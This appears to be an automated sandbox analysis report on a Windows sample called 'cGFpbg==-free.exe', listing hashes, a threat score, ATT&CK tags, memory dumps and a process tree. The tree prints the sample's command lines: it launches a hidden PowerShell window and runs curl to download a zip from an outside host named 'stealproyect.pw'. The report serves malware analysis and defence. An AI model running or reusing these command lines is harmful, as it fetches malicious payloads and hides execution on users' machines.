f3ff39b5b8093603782cff77db81e596143e275e61b46e7174b9c31b0b1ba09d

Analysis

max time kernel
15s
max time network
19s
platform
windows10-1703_x64
resource
win10-20240404-es
resource tags

arch:x64arch:x86image:win10-20240404-eslocale:es-esos:windows10-1703-x64systemwindows
submitted
09/10/2024, 04:24

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General

Target

cGFpbg==-free.exe
Size

30.1MB
MD5

d35067404c9da79a4828667a0cb1367d
SHA1

4ea1d15525f270259536533cad90075808eddac9
SHA256

f3ff39b5b8093603782cff77db81e596143e275e61b46e7174b9c31b0b1ba09d
SHA512

8179eaf0bea0a0833d39055e1508c7e982c49b8a06097ad0aaaf7ea1ea67b5d187ffb807e272202fa52d87f18a61181995e03e5218f7517f0a2a84bd0117aae5
SSDEEP

393216:tQgHDlanaGBXvDKtz+bhPWES4tiNQPNrIKc4gaPbUAgrO4mgM96l+ZArYsFRlt:t3on1HvSzxAMNMFZArYs1

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1156	powershell.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1156	powershell.exe
1156	powershell.exe
1156	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1156	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 168 wrote to memory of 3436	168	cGFpbg==-free.exe	73
PID 168 wrote to memory of 3436	168	cGFpbg==-free.exe	73
PID 3436 wrote to memory of 1156	3436	cmd.exe	74
PID 3436 wrote to memory of 1156	3436	cmd.exe	74
PID 168 wrote to memory of 4584	168	cGFpbg==-free.exe	75
PID 168 wrote to memory of 4584	168	cGFpbg==-free.exe	75

C:\Users\Admin\AppData\Local\Temp\cGFpbg==-free.exe
"C:\Users\Admin\AppData\Local\Temp\cGFpbg==-free.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:168
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell -WindowStyle Hidden"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3436
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -WindowStyle Hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1156
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "curl https://stealproyect.pw/api/get/free -o "C:\Users\Admin\AppData\Local\Temp\15wEusJ2.zip""
  2⤵
  PID:4584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4rbi04ug.jcb.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/1156-6-0x00007FFCECE83000-0x00007FFCECE84000-memory.dmp

Filesize
4KB

Download
memory/1156-8-0x00000261FAC00000-0x00000261FAC82000-memory.dmp

Filesize
520KB

Download
memory/1156-9-0x00000261FAB70000-0x00000261FAB80000-memory.dmp

Filesize
64KB

Download
memory/1156-10-0x00000261FABB0000-0x00000261FABD2000-memory.dmp

Filesize
136KB

Download
memory/1156-11-0x00000261FAF10000-0x00000261FB012000-memory.dmp

Filesize
1.0MB

Download
memory/1156-13-0x00007FFCECE80000-0x00007FFCED86C000-memory.dmp

Filesize
9.9MB

Download
memory/1156-25-0x00007FFCECE80000-0x00007FFCED86C000-memory.dmp

Filesize
9.9MB

Download
memory/1156-40-0x00000261FB4E0000-0x00000261FB51C000-memory.dmp

Filesize
240KB

Download
memory/1156-51-0x00000261FB5A0000-0x00000261FB616000-memory.dmp

Filesize
472KB

Download
memory/1156-61-0x00007FFCECE83000-0x00007FFCECE84000-memory.dmp

Filesize
4KB

Download
memory/1156-62-0x00007FFCECE80000-0x00007FFCED86C000-memory.dmp

Filesize
9.9MB

Download